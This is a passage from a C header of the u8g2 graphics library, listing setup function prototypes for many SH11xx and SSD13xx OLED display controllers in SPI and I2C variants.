u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_seeed_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_128x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_tk078f288_80x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_128x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_tk078f288_80x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_128x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_tk078f288_80x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_128x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_tk078f288_80x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_128x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_tk078f288_80x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_128x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_tk078f288_80x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_pimoroni_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_seeed_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_pimoroni_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_seeed_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_pimoroni_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_seeed_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_pimoroni_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_seeed_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_pimoroni_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_seeed_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_pimoroni_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1107_i2c_seeed_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1108_128x160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1108_128x160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1108_128x160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1108_i2c_128x160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1108_i2c_128x160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1108_i2c_128x160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1108_160x160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1108_160x160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1108_160x160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1108_i2c_160x160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1108_i2c_160x160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1108_i2c_160x160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1122_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1122_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1122_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1122_i2c_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1122_i2c_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1122_i2c_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_128x32_univision_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_128x32_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_128x32_univision_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_128x32_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_128x32_univision_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_128x32_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_128x32_univision_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_128x32_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_128x32_univision_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_128x32_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_128x32_univision_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_128x32_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_102x64_ea_oleds102_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_102x64_ea_oleds102_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_102x64_ea_oleds102_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_128x32_visionox_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_128x32_visionox_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_128x32_visionox_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_i2c_128x32_visionox_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_i2c_128x32_visionox_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sh1106_i2c_128x32_visionox_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_64x48_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_64x48_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_64x48_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_64x48_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_64x48_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_64x48_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_48x64_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_48x64_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_48x64_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_48x64_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_48x64_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_48x64_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_64x32_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_64x32_1f_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_64x32_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_64x32_1f_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_64x32_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_64x32_1f_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_64x32_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_64x32_1f_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_64x32_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_64x32_1f_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_64x32_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_64x32_1f_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_96x16_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_96x16_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_96x16_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_96x16_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_96x16_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1306_i2c_96x16_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1309_128x64_noname2_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1309_128x64_noname2_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1309_128x64_noname2_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1309_i2c_128x64_noname2_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1309_i2c_128x64_noname2_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1309_i2c_128x64_noname2_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1309_128x64_noname0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1309_128x64_noname0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1309_128x64_noname0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1309_i2c_128x64_noname0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1309_i2c_128x64_noname0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1309_i2c_128x64_noname0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1316_128x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1316_128x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1316_128x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1316_i2c_128x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1316_i2c_128x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1316_i2c_128x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1316_96x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1316_96x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1316_96x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1316_i2c_96x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1316_i2c_96x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1316_i2c_96x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1317_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1317_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1317_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1317_i2c_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1317_i2c_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1317_i2c_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1318_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1318_128x96_xcp_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1318_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1318_128x96_xcp_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1318_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1318_128x96_xcp_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1318_i2c_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1318_i2c_128x96_xcp_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1318_i2c_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1318_i2c_128x96_xcp_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1318_i2c_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1318_i2c_128x96_xcp_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1325_nhd_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1325_nhd_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1325_nhd_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1325_i2c_nhd_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1325_i2c_nhd_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1325_i2c_nhd_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd0323_os128064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd0323_os128064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd0323_os128064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd0323_i2c_os128064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd0323_i2c_os128064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd0323_i2c_os128064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1326_er_256x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1326_er_256x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1326_er_256x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1326_i2c_er_256x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1326_i2c_er_256x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void 